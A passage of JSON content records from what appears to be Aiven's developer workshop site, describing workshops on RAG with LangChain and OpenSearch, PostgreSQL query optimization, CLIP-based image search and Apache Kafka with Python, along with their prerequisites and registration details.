resources"}],"contentIsGated":false,"demioEvent":{"demioEventId":"qesPvdxpDARppcXM","demioSubmitText":"Register","title":"Secure your spot"},"downloadLink":"https://aiven.io/developer-workshops","downloadText":"See all workshops","hasVideo":true,"image":{"_type":"mainImage","alt":"Preparing and using data for AI with LangChain and OpenSearch®"},"registerForm":{"iframeHeight":800},"registrationType":"demio","subtitle":[{"_key":"3cef393efd10","_type":"block","children":[{"_key":"c84b99a6ac220","_type":"span","marks":[],"text":"Learn how to prepare your existing content for AI using LangChain and store it in OpenSearch®, so it can be used with an LLM in the Retrieval Augmented Generation (RAG) pattern."}],"markDefs":[],"style":"normal"},{"_key":"7fe204af1d88","_type":"block","children":[{"_key":"8f26f5617e88","_type":"span","marks":[],"text":"This workshop is 1,5 hours long.\n"}],"markDefs":[],"style":"normal"}],"summary":"Learn how to prepare your existing content for AI using LangChain and store it in OpenSearch®, so it can be used with an LLM in the Retrieval Augmented Generation (RAG) pattern.","thankyouContent":[{"_key":"6203c054ac3a","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","alt":"Preparing and Using Data for AI with LangChain and OpenSearch","asset":{"_ref":"image-7d1de475997ff4272d799f0c0ad0985529070e3a-1200x628-png","_type":"reference"}},"imagePosition":"center","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","text":[{"_key":"883e24227c32","_type":"block","children":[{"_key":"03073d7d0a06","_type":"span","marks":[],"text":"Thank you for your interest in our "},{"_key":"b7ec9a659551","_type":"span","marks":["strong"],"text":"Preparing and Using Data for AI with LangChain and OpenSearch®"},{"_key":"ad8fdedb8118","_type":"span","marks":[],"text":" workshop. "}],"markDefs":[],"style":"normal"},{"_key":"8d31a4e30e6e","_type":"block","children":[{"_key":"5a3f16de8f31","_type":"span","marks":[],"text":"You will receive a confirmation email with a calendar invite. "}],"markDefs":[],"style":"normal"},{"_key":"f8036007499b","_type":"block","children":[{"_key":"d78bb393cbd9","_type":"span","marks":[],"text":"See you in the workshop!"}],"markDefs":[],"style":"normal"}],"title":"Thank you for registering","variant":"mediaLeft"}],"title":"Preparing and Using Data for AI with LangChain and OpenSearch®","ytId":"ubpHpp7ON_c"},"publishedAt":"2024-07-24T16:00:00.000Z","resourceTag":{"_type":"resourceTag","contentType":{"_ref":"d744ba0c-d4f2-4e41-9a7d-94be2b77a3ff","_type":"reference"},"tags":[{"_key":"ebb5a0d79b32","_ref":"17773fab-43cf-4f70-873a-8da1274cde0f","_type":"tag"},{"_key":"20bbf5fcb904","_ref":"38383182-1206-4b02-8aee-37da4e24f936","_type":"tag"},{"_key":"4805aad074ec","_ref":"525f6516-2adf-4f0d-aab6-35835bd07e46","_type":"tag"}]},"seo":{"_type":"metaData","metaDescription":"Prepare your existing content for AI using LangChain, store in OpenSearch® and use with an LLM in the Retrieval Augmented Generation (RAG) pattern.","metaImage":{"_type":"mainImage","alt":"Preparing and Using Data for AI with LangChain and OpenSearch®","asset":{"_ref":"image-7d1de475997ff4272d799f0c0ad0985529070e3a-1200x628-png","_type":"reference"}},"metaTitle":"Workshop | Preparing and Using Data for AI with LangChain and OpenSearch®"},"slug":{"_type":"slug","current":"/workshop/preparing-and-using-data-for-ai-with-langchain-and-opensearch"}} {"__i18n_lang":"en","_createdAt":"2024-06-04T16:21:56Z","_id":"7a9f8186-a601-4b72-bc0b-c21858024f23","_rev":"rhydXhWcGRg3z0wj7fAcYg","_type":"workshop","_updatedAt":"2024-09-12T12:52:23Z","asset":{"_type":"gatedAndUngated","content":[{"_key":"c5b3dc8e3f36","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-4f5f67b919f1bfdaa97f014c011d7bd4b32ccb64-1440x565-svg","_type":"reference"}},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","columnOne":[{"_key":"35a0cfcdd6d2","_type":"block","children":[{"_key":"107849cc081d","_type":"span","marks":[],"text":"What's in the Workshop Recipe?"}],"markDefs":[],"style":"h3"},{"_key":"b478dcb36da1","_type":"block","children":[{"_key":"732833c5beeb0","_type":"span","marks":[],"text":"\n"},{"_key":"53209e3afe04","_type":"span","marks":[],"text":"SQL optimization is essential for efficient database management, especially when dealing with complex queries and large datasets. In this workshop, you'll familiarize with the fundamentals of SQL optimization with a focus on PostgreSQL®. This hands-on session will guide you through key techniques and best practices to enhance the performance of your SQL queries."}],"markDefs":[],"style":"normal"},{"_key":"ed33df899fd6","_type":"block","children":[{"_key":"d67e52ddbfc80","_type":"span","marks":[],"text":"We'll look at how PostgreSQL processes queries, helping you spot any bottlenecks and areas that need improvement. You'll learn how to use indexes effectively to speed up your queries without overdoing it. We'll also explore the best ways to use joins in your queries, when to use them for the best performance."}],"markDefs":[],"style":"normal"},{"_key":"a22ae9505001","_type":"block","children":[{"_key":"43846b199d370","_type":"span","marks":[],"text":"We'll discuss how PostgreSQL handles data changes, what table bloat is, and why regular vacuuming is crucial for keeping your database in good shape. Plus, we’ll show the usage of AI tools to identify and troubleshoot common query performance issues using practical examples."}],"markDefs":[],"style":"normal"},{"_key":"7aaf05d6d89c","_type":"block","children":[{"_key":"69a3d1ddd2710","_type":"span","marks":[],"text":"You'll get plenty of hands-on experience. It's going to be a fun and informative session, so don't miss out!\n"}],"markDefs":[],"style":"normal"}],"columnTwo":[{"_key":"588a51adbc3c","_type":"block","children":[{"_key":"5ae712102a550","_type":"span","marks":["strong"],"text":"What You'll Learn"}],"markDefs":[],"style":"h3"},{"_key":"5a3935f9a550","_type":"block","children":[{"_key":"f53db50e6ed60","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"48ad20406b85","_type":"block","children":[{"_key":"0bf3fb32978c0","_type":"span","marks":[],"text":"In this workshop, we’ll cover the following topics:"}],"markDefs":[],"style":"normal"},{"_key":"4646de868265","_type":"block","children":[{"_key":"32a0c172755f0","_type":"span","marks":[],"text":"Understanding the query execution flow and path of the query."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"2c57b7a9ee94","_type":"block","children":[{"_key":"b2d7d1d7ae080","_type":"span","marks":[],"text":"Using tools such as ANALYSE and EXPLAIN"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"7f77c227c5ba","_type":"block","children":[{"_key":"73e40d656a8a0","_type":"span","marks":[],"text":"Efficient usage of indexing"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"59741ba901c3","_type":"block","children":[{"_key":"290b62ef37ca0","_type":"span","marks":[],"text":"To join or not to join that is the question"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"b67b91bcdd13","_type":"block","children":[{"_key":"5e8be302fb6e0","_type":"span","marks":[],"text":"Spotting query issues"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"87706a33b853","_type":"block","children":[{"_key":"a41468ed95420","_type":"span","marks":[],"text":"Reason behind the table bloat and why we need to vacuum the data"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e90223bbadff","_type":"block","children":[{"_key":"ddf2100696ec0","_type":"span","marks":[],"text":"Applying UI Tools"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"15db3730f734","_type":"block","children":[{"_key":"6fc4ea861f380","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"7686a8188443","_type":"block","children":[{"_key":"3a4df89c8f440","_type":"span","marks":["strong"],"text":"Prerequisites"}],"markDefs":[],"style":"h3"},{"_key":"784e9c87843b","_type":"block","children":[{"_key":"15d33e6a59640","_type":"span","marks":[],"text":"A web browser."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"fbb8ba83f2b4","_type":"block","children":[{"_key":"a90641bac667","_type":"span","marks":[],"text":"An Aiven account, using our free trial. We will lead you through setting that up in the workshop, if you don’t already have one."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"121b5cb7770f","_type":"block","children":[{"_key":"c342d935df7d","_type":"span","marks":[],"text":"A GitHub account. Here’s the "},{"_key":"d1fff3c27068","_type":"span","marks":["1342ef4e05e6"],"text":"GitHub repository"},{"_key":"648d6a6f628a","_type":"span","marks":[],"text":" we’ll be using."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"1342ef4e05e6","_type":"link","href":"https://github.com/Aiven-Labs/workshop-sql-optimization"}],"style":"normal"},{"_key":"606e27011e57","_type":"block","children":[{"_key":"8a4582a321eb","_type":"span","marks":[],"text":"We’ll use GitHub Codespaces as our working environment."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"darkTheme":true,"disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-br","variant":"twoColumn"},{"_key":"125da7f4ebcd","_type":"avatarList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","avatars":[{"_key":"46e189938f00","_ref":"0751a33e-612e-404f-9e77-0b5da9ec746a","_type":"reference"}],"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","showProfilePage":true,"title":"Workshop host","variant":"withBio"},{"_key":"83865b1bab8a","_type":"infoBannerSection","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"right center","backgroundPositionMobile":"center center","backgroundSize":"contain","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"infoBanner":{"_ref":"d351f08a-0f1d-4d30-adf2-6c4d420732f0","_type":"reference"},"noSpaceBottom":false,"noSpaceTop":true,"roundedCorners":"rounded-t","variant":"vertical"},{"_key":"0a9a29daeda8","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"headerPosition":"default","items":[{"_key":"5f1d4986a2b1","_ref":"8fdcb25c-b824-48cb-9906-f8e6213af63f","_type":"devArticle"},{"_key":"2c52e237cae7","_ref":"168fd4e3-223d-4475-bedb-b07ae2bdbb69","_type":"devArticle"},{"_key":"55975cddd1d5","_ref":"e6c815e6-81b6-4fb9-8269-072853775316","_type":"reference"}],"itemsPerRow":4,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","title":"Related resources"}],"contentIsGated":false,"demioEvent":{"demioEventId":"MfGLh314EslOajF0","demioSubmitText":"Register","title":"Secure your spot"},"downloadLink":"https://aiven.io/developer-workshops","downloadText":"See all workshops","hasVideo":true,"image":{"_type":"mainImage","alt":"Boost your PostgreSQL® skills: Beginner's guide to SQL optimization.","asset":{"_ref":"image-3d3c4c9abf78175a11dbe90261953e3ecd6a0fff-1200x628-png","_type":"reference"}},"registerForm":{"iframeHeight":800},"registrationType":"demio","subtitle":[{"_key":"4adfc7cf1863","_type":"block","children":[{"_key":"bbcc39e373f80","_type":"span","marks":[],"text":"In this online workshop you'll learn the basics of query optimization in PostgreSQL®. From understanding the path of the query to optimizing your indexes and joins, we’ll cover the foundation, tools and techniques to improve the performance of your SQL queries.\n"}],"markDefs":[],"style":"normal"},{"_key":"28bdee116b89","_type":"block","children":[{"_key":"0e17b6d8aa63","_type":"span","marks":[],"text":"This workshop is one hour long. Open to beginner levels, though the knowledge of SQL basics is desired.\n"}],"markDefs":[],"style":"normal"}],"summary":"In this online workshop you'll learn the basics of query optimization in PostgreSQL®. From understanding the path of the query to optimizing your indexes and joins, we’ll cover the foundation, tools and techniques to improve the performance of your SQL queries.","thankyouContent":[{"_key":"6203c054ac3a","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","alt":"Boost your PostgreSQL® skills: Beginner's guide to SQL optimization","asset":{"_ref":"image-3d3c4c9abf78175a11dbe90261953e3ecd6a0fff-1200x628-png","_type":"reference"}},"imagePosition":"center","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","text":[{"_key":"883e24227c32","_type":"block","children":[{"_key":"03073d7d0a06","_type":"span","marks":[],"text":"Thank you for your interest in our "},{"_key":"c77bb29365da","_type":"span","marks":["strong"],"text":"Boost your PostgreSQL® skills: Beginner's guide to SQL optimization"},{"_key":"bab1f517b03b","_type":"span","marks":[],"text":" workshop. "}],"markDefs":[],"style":"normal"},{"_key":"8d31a4e30e6e","_type":"block","children":[{"_key":"5a3f16de8f31","_type":"span","marks":[],"text":"You will receive a confirmation email with a calendar invite. "}],"markDefs":[],"style":"normal"},{"_key":"f8036007499b","_type":"block","children":[{"_key":"d78bb393cbd9","_type":"span","marks":[],"text":"See you in the workshop!"}],"markDefs":[],"style":"normal"}],"title":"Thank you for registering","variant":"mediaLeft"}],"title":"Boost your PostgreSQL® skills: Beginner's guide to SQL optimization.","videoHosting":"youtube","ytId":"nZJVi_LNOkk"},"publishedAt":"2024-08-21T16:00:00.000Z","resourceTag":{"_type":"resourceTag","contentType":{"_ref":"d744ba0c-d4f2-4e41-9a7d-94be2b77a3ff","_type":"reference"},"tags":[{"_key":"53957f09d030","_ref":"7585568a-42e1-4b7a-ba53-f416ed7c4ce2","_type":"tag"},{"_key":"20bbf5fcb904","_ref":"38383182-1206-4b02-8aee-37da4e24f936","_type":"tag"},{"_key":"4805aad074ec","_ref":"525f6516-2adf-4f0d-aab6-35835bd07e46","_type":"tag"},{"_key":"f83354cd1364","_ref":"5c7142e2-1fa3-4ef2-8da3-c61d402cbb3e","_type":"tag"}]},"seo":{"_type":"metaData","metaDescription":"In this online workshop you'll learn the basics of query optimization in PostgreSQL®. From understanding the path of the query to optimizing your indexes and joins, we’ll cover the foundation, tools and techniques to improve the performance of your SQL queries.","metaImage":{"_type":"mainImage","alt":"Boost your PostgreSQL® skills: Beginner's guide to SQL optimization.","asset":{"_ref":"image-3d3c4c9abf78175a11dbe90261953e3ecd6a0fff-1200x628-png","_type":"reference"}},"metaTitle":"Workshop | Boost your PostgreSQL® skills: Beginner's guide to SQL optimization."},"slug":{"_type":"slug","current":"/workshop/sql-optimization-101"}} {"__i18n_lang":"en","_createdAt":"2024-10-30T13:45:51Z","_id":"833d32fa-9a0e-4434-b323-de3c8020cc8b","_rev":"KFPdjtNswOAQxKeneBwvzI","_type":"workshop","_updatedAt":"2024-12-16T10:05:55Z","asset":{"_type":"gatedAndUngated","content":[{"_key":"c5b3dc8e3f36","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-4f5f67b919f1bfdaa97f014c011d7bd4b32ccb64-1440x565-svg","_type":"reference"}},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","columnOne":[{"_key":"35a0cfcdd6d2","_type":"block","children":[{"_key":"107849cc081d","_type":"span","marks":[],"text":"What's in the Workshop Recipe?"}],"markDefs":[],"style":"h3"},{"_key":"f5109ddc1b15","_type":"block","children":[{"_key":"2ba341c67e56","_type":"span","marks":[],"text":"Join this workshop to learn how to connect text to image search using the OpenAI's CLIP model and the OpenSearch® search engine. We'll use a multi-modal vision and language model named CLIP. This model is special in the way that it can work with both images and text interchangeably, producing embeddings for input data that is either a text snippet or an image. We'll guide you step by step to build a system to find relevant photos using Python, OpenSearch and an AI model.\n\n"},{"_key":"e4cdcf29f18d","_type":"span","marks":["strong"],"text":"Related resource in our developer center:"},{"_key":"1af47dcdcc87","_type":"span","marks":[],"text":" "},{"_key":"8b29737b0735","_type":"span","marks":["47d35ff80938"],"text":"Image recognition with Python, OpenCV, OpenAI CLIP and pgvector"},{"_key":"dbeffea073cd","_type":"span","marks":[],"text":"\n"}],"markDefs":[{"_key":"47d35ff80938","_type":"internalLink","internalLink":{"_ref":"7c922c7d-e791-4c33-a86a-0aa413cf7449","_type":"reference"}}],"style":"normal"}],"columnTwo":[{"_key":"9ec03a01fe4d","_type":"block","children":[{"_key":"797bdc67cb2c","_type":"span","marks":[],"text":"Prerequisities"}],"markDefs":[],"style":"h3"},{"_key":"56d4c62a7094","_type":"block","children":[{"_key":"72fc32a15de4","_type":"span","marks":[],"text":"Web browser"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"6c09bac19301","_type":"block","children":[{"_key":"db269680f514","_type":"span","marks":[],"text":"A GitHub account "}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"5a9b20a454e6","_type":"block","children":[{"_key":"9abe6e51afaf","_type":"span","marks":[],"text":"You’ll also need"}],"markDefs":[],"style":"normal"},{"_key":"eee2a66917f7","_type":"block","children":[{"_key":"23a30bcacb03","_type":"span","marks":[],"text":"An Aiven account, using our free trial"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"630ef57cb52c","_type":"block","children":[{"_key":"330011c02c0c","_type":"span","marks":[],"text":"We will lead you through setting that up in the workshop, if you don’t already have one.\n"}],"markDefs":[],"style":"normal"}],"darkTheme":true,"disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-br","variant":"twoColumn"},{"_key":"125da7f4ebcd","_type":"avatarList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","avatars":[{"_key":"6896889c95aa","_ref":"bd32e7ab-7994-4fa3-b16d-cfb0a5a0c1e3","_type":"reference"}],"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","showProfilePage":true,"title":"Workshop host","variant":"withBio"},{"_key":"2f7f843133fc","_type":"infoBannerSection","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"infoBanner":{"_ref":"d351f08a-0f1d-4d30-adf2-6c4d420732f0","_type":"reference"},"noSpaceBottom":false,"noSpaceTop":true,"roundedCorners":"rounded-none","variant":"vertical"},{"_key":"0a9a29daeda8","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"headerPosition":"default","items":[{"_key":"c9888aa0fd0c","_ref":"7c922c7d-e791-4c33-a86a-0aa413cf7449","_type":"devArticle"},{"_key":"9c09f5425748","_ref":"25ac0060-4896-40d9-9c76-65ab0d7c8ccc","_type":"devArticle"},{"_key":"1dd86be5780f","_ref":"28a828cd-0a1a-477e-8c4b-91acfc1882bc","_type":"devArticle"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","title":"Related resources"}],"contentIsGated":false,"demioEvent":{"demioEventId":"zuM6YUKdvOLdgXm8","demioSubmitText":"Register","title":"Secure your spot"},"downloadLink":"https://aiven.io/developer-workshops","downloadText":"See all workshops","hasVideo":false,"image":{"_type":"mainImage","alt":"Searching for images with vector search, OpenSearch® and CLIP","asset":{"_ref":"image-657c3801f0c061128e4c44c39d6151632f9985a2-1200x628-png","_type":"reference"}},"registerForm":{"iframeHeight":371,"iframeSource":"https://go.aiven.io/l/890043/2024-01-24/thz6g","title":"Pick the best date and secure your seat"},"registrationType":"demio","subtitle":[{"_key":"34edc6dfba4d","_type":"block","children":[{"_key":"2e5b78a978050","_type":"span","marks":[],"text":"Join this workshop to learn how to connect text to image search using the OpenAI's CLIP model and the OpenSearch® search engine."}],"markDefs":[],"style":"normal"},{"_key":"10c04a905535","_type":"block","children":[{"_key":"0513260a5c320","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"ac7705aea09d","_type":"block","children":[{"_key":"7f645433f6020","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"summary":"Join this workshop to learn how to connect text to image search using the OpenAI's CLIP model and the OpenSearch® search engine. ","thankyouContent":[{"_key":"f5a32de4b598","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-657c3801f0c061128e4c44c39d6151632f9985a2-1200x628-png","_type":"reference"}},"imagePosition":"center","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","text":[{"_key":"8013e57ba341","_type":"block","children":[{"_key":"79d0ded2fc47","_type":"span","marks":[],"text":"You will receive an email confirmation for your registration for the "},{"_key":"43b57d646a0e","_type":"span","marks":["strong"],"text":"Workshop: Searching for images with vector search, OpenSearch and CLIP."}],"markDefs":[],"style":"normal"},{"_key":"4fbb43ba2d94","_type":"block","children":[{"_key":"e9f2bb5051b1","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"c8fdb76bf7f3","_type":"block","children":[{"_key":"40694e4b878a","_type":"span","marks":["strong"],"text":"Read next:"}],"markDefs":[],"style":"normal"},{"_key":"a7cffc853e28","_type":"block","children":[{"_key":"a1ce8c7fe2320","_type":"span","marks":["55224da8ec15"],"text":"When text meets image: a guide to OpenSearch® for multimodal search"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"55224da8ec15","_type":"internalLink","internalLink":{"_ref":"3819159e-9c6a-402b-9ca7-48f82efcedaa","_type":"reference"}}],"style":"normal"},{"_key":"2498c2298399","_type":"block","children":[{"_key":"d10437602b8a","_type":"span","marks":["3f6ce660bcd7"],"text":"Retrieval augmented generation with OpenAI and OpenSearch®"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"3f6ce660bcd7","_type":"internalLink","internalLink":{"_ref":"a34b0b22-60ab-471c-b0a2-9704d9139e02","_type":"reference"}}],"style":"normal"},{"_key":"e2bde1513405","_type":"block","children":[{"_key":"2e89594fe94d","_type":"span","marks":["02ca17d877ce"],"text":"Image recognition with Python, OpenCV, OpenAI CLIP and pgvector"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"02ca17d877ce","_type":"internalLink","internalLink":{"_ref":"7c922c7d-e791-4c33-a86a-0aa413cf7449","_type":"reference"}}],"style":"normal"}],"title":"Thank you for your interest","variant":"mediaLeft"}],"title":"Searching for images with vector search, OpenSearch® and CLIP","videoHosting":"youtube","ytId":"RvR9QyDHda8"},"publishedAt":"2024-12-10T11:00:00.000Z","resourceTag":{"_type":"resourceTag","contentType":{"_ref":"d744ba0c-d4f2-4e41-9a7d-94be2b77a3ff","_type":"reference"},"tags":[{"_key":"744b0c80612a","_ref":"de070e21-d443-4ca4-bb45-c3c1058d4d21","_type":"tag"},{"_key":"a12eac358e8f","_ref":"525f6516-2adf-4f0d-aab6-35835bd07e46","_type":"tag"},{"_key":"f55d824b6aa5","_ref":"17773fab-43cf-4f70-873a-8da1274cde0f","_type":"tag"}]},"seo":{"_type":"metaData","metaDescription":"Join this workshop to learn how to connect text to image search using the OpenAI's CLIP model and the OpenSearch® search engine.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-657c3801f0c061128e4c44c39d6151632f9985a2-1200x628-png","_type":"reference"}},"metaTitle":"Searching for images with vector search, OpenSearch and CLIP"},"slug":{"_type":"slug","current":"/workshop/opensearch-vector-search-clip"}} {"__i18n_lang":"en","_createdAt":"2023-10-20T09:56:01Z","_id":"dd882356-1dca-441e-9af9-e1fe8f191102","_rev":"eOGTVivSz2oqfsen7MIOxa","_type":"workshop","_updatedAt":"2024-10-25T14:25:39Z","asset":{"_type":"gatedAndUngated","content":[{"_key":"c5b3dc8e3f36","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-4f5f67b919f1bfdaa97f014c011d7bd4b32ccb64-1440x565-svg","_type":"reference"}},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","columnOne":[{"_key":"35a0cfcdd6d2","_type":"block","children":[{"_key":"107849cc081d","_type":"span","marks":[],"text":"What's in the Workshop Recipe?"}],"markDefs":[],"style":"h3"},{"_key":"440dc97039a6","_type":"block","children":[{"_key":"69d263aef640","_type":"span","marks":[],"text":"Apache Kafka is the industry de-facto standard for data streaming. An open-source, scalable, highly available and reliable solution to move data across companies' departments, technologies or micro-services."}],"markDefs":[],"style":"normal"},{"_key":"6ee2c95ec98e","_type":"block","children":[{"_key":"3584cfbc0b470","_type":"span","marks":[],"text":"In this workshop you'll learn the basic components of Apache Kafka and how to get started with data streaming using Python. We'll dive deep, with the help of some prebuilt Jupyter notebooks, into how to produce and consume data, including how to have concurrent applications reading from the same source, empowering multiple use-cases with the same streaming data."}],"markDefs":[],"style":"normal"},{"_key":"b478dcb36da1","_type":"block","children":[{"_key":"732833c5beeb0","_type":"span","marks":[],"text":"Finally we'll demonstrate how to use Apache Flink to reshape streaming data in Kafka in real time, enabling new data stakeholders and, for instance, allowing transformations to satisfy regulatory needs.\n"}],"markDefs":[],"style":"normal"}],"columnTwo":[{"_key":"3437b02f6775","_type":"block","children":[{"_key":"126adfc1e93b","_type":"span","marks":[],"text":"Prepare for a Brain Upgrade "}],"markDefs":[],"style":"h3"},{"_key":"bbf40817f8d2","_type":"block","children":[{"_key":"ef705f4b2168","_type":"span","marks":[],"text":"You will learn:"}],"markDefs":[],"style":"normal"},{"_key":"317c6042ef37","_type":"block","children":[{"_key":"fe01abc6ba54","_type":"span","marks":[],"text":"Apache Kafka main components"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"be247cf99818","_type":"block","children":[{"_key":"e97594bfcb86","_type":"span","marks":[],"text":"How to Produce data to Apache Kafka"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"60aab17c510d","_type":"block","children":[{"_key":"52afbee3c846","_type":"span","marks":[],"text":"How to Consume data from Apache Kafka"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"ccdb67d7a1b0","_type":"block","children":[{"_key":"9b12cd7f7bbc","_type":"span","marks":[],"text":"How to setup concurrent consumers"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"8bb1d24a67e3","_type":"block","children":[{"_key":"ded269c94cbf","_type":"span","marks":[],"text":"How multiple applications can read from the same dataset"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"8c9cdff38898","_type":"block","children":[{"_key":"3753eda40dc1","_type":"span","marks":[],"text":"How to reshape the streaming data in real time"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"31dc5c031ab1","_type":"block","children":[{"_key":"797bdc67cb2c","_type":"span","marks":[],"text":"Prerequisities"}],"markDefs":[],"style":"h3"},{"_key":"f4bca476627f","_type":"block","children":[{"_key":"d89126813a14","_type":"span","marks":[],"text":"Web browser"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"1466bd67bef7","_type":"block","children":[{"_key":"72fc32a15de4","_type":"span","marks":[],"text":"GitHub Account. Here's "},{"_key":"f3175debc2d8","_type":"span","marks":["121ec2395d52"],"text":"the Github repo "},{"_key":"132b36d06f5f","_type":"span","marks":[],"text":"we will use."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"121ec2395d52","_type":"link","href":"https://github.com/Aiven-Labs/python-apache-kafka-tutorial"}],"style":"normal"}],"darkTheme":true,"disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-br","variant":"twoColumn"},{"_key":"125da7f4ebcd","_type":"avatarList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","avatars":[{"_key":"b9b281742cff","_ref":"8e573fc1-3cd0-4232-aea9-4e0adbc1754a","_type":"reference"}],"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","showProfilePage":true,"title":"Workshop host","variant":"withBio"},{"_key":"0a9a29daeda8","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"headerPosition":"default","items":[{"_key":"af3df132ed61","_ref":"2dc31ac9-3761-40fd-bf1d-b48bff2f9435","_type":"devArticle"},{"_key":"b0412ad582db","_ref":"ElLnRMEzVGBvCslc1mXoT","_type":"reference"},{"_key":"5805fb7f303f","_ref":"766e5371-c2d6-409d-acba-a478d18ffdd2","_type":"devArticle"}],"itemsPerRow":4,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","title":"Related resources"}],"contentIsGated":false,"demioEvent":{"demioEventId":"zR7I5SnYm8vHRkZ8","demioSubmitText":"Register","title":"Secure your 